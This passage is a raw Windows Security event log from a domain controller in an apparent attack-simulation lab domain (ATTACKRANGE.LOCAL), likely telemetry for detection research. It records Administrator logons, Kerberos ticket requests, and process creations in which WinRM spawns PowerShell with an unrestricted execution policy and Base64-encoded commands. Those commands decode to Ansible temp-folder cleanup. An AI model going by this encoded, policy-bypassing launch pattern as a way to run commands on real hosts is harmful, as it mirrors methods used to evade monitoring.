-TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252416 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252415 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252414 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15C33E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x95c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1268 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA5ADMALgAzADcANgA4ADUAMAA4AC0AMgA2ADUAMQA4ADkAMQAwADUANwA4ADkAOAAwADEAIgAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlADsACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252412 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15C33E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252411 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15C33E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252410 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252409 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252408 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQA1AEEARABNAEEATABnAEEAegBBAEQAYwBBAE4AZwBBADQAQQBEAFUAQQBNAEEAQQA0AEEAQwAwAEEATQBnAEEAMgBBAEQAVQBBAE0AUQBBADQAQQBEAGsAQQBNAFEAQQB3AEEARABVAEEATgB3AEEANABBAEQAawBBAE8AQQBBAHcAQQBEAEUAQQBJAGcAQQBnAEEAQwAwAEEAUgBnAEIAdgBBAEgASQBBAFkAdwBCAGwAQQBDAEEAQQBMAFEAQgBTAEEARwBVAEEAWQB3AEIAMQBBAEgASQBBAGMAdwBCAGwAQQBEAHMAQQBDAGcAQgBKAEEARwBZAEEASQBBAEEAbwBBAEMAMABBAGIAZwBCAHYAQQBIAFEAQQBJAEEAQQBrAEEARAA4AEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAEoAQQBHAFkAQQBJAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFYAZwBCAGgAQQBIAEkAQQBhAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEMAQQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQBiAGcAQgAwAEEARwB3AEEAZQBRAEIARABBAEcAOABBAGIAZwBCADAAQQBHAGsAQQBiAGcAQgAxAEEARwBVAEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEASgBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBIADAAQQBJAEEAQgBGAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAeABBAEMAQQBBAGYAUQBBAGcAQQBIADAAQQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd54 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQA1AEEARABNAEEATABnAEEAegBBAEQAYwBBAE4AZwBBADQAQQBEAFUAQQBNAEEAQQA0AEEAQwAwAEEATQBnAEEAMgBBAEQAVQBBAE0AUQBBADQAQQBEAGsAQQBNAFEAQQB3AEEARABVAEEATgB3AEEANABBAEQAawBBAE8AQQBBAHcAQQBEAEUAQQBJAGcAQQBnAEEAQwAwAEEAUgBnAEIAdgBBAEgASQBBAFkAdwBCAGwAQQBDAEEAQQBMAFEAQgBTAEEARwBVAEEAWQB3AEIAMQBBAEgASQBBAGMAdwBCAGwAQQBEAHMAQQBDAGcAQgBKAEEARwBZAEEASQBBAEEAbwBBAEMAMABBAGIAZwBCAHYAQQBIAFEAQQBJAEEAQQBrAEEARAA4AEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAEoAQQBHAFkAQQBJAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFYAZwBCAGgAQQBIAEkAQQBhAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEMAQQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQBiAGcAQgAwAEEARwB3AEEAZQBRAEIARABBAEcAOABBAGIAZwBCADAAQQBHAGsAQQBiAGcAQgAxAEEARwBVAEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEASgBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBIADAAQQBJAEEAQgBGAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAeABBAEMAQQBBAGYAUQBBAGcAQQBIADAAQQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252405 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE41 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252404 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE41 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252403 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252402 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252401 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252400 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE21 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252399 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE21 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252398 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE21 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that 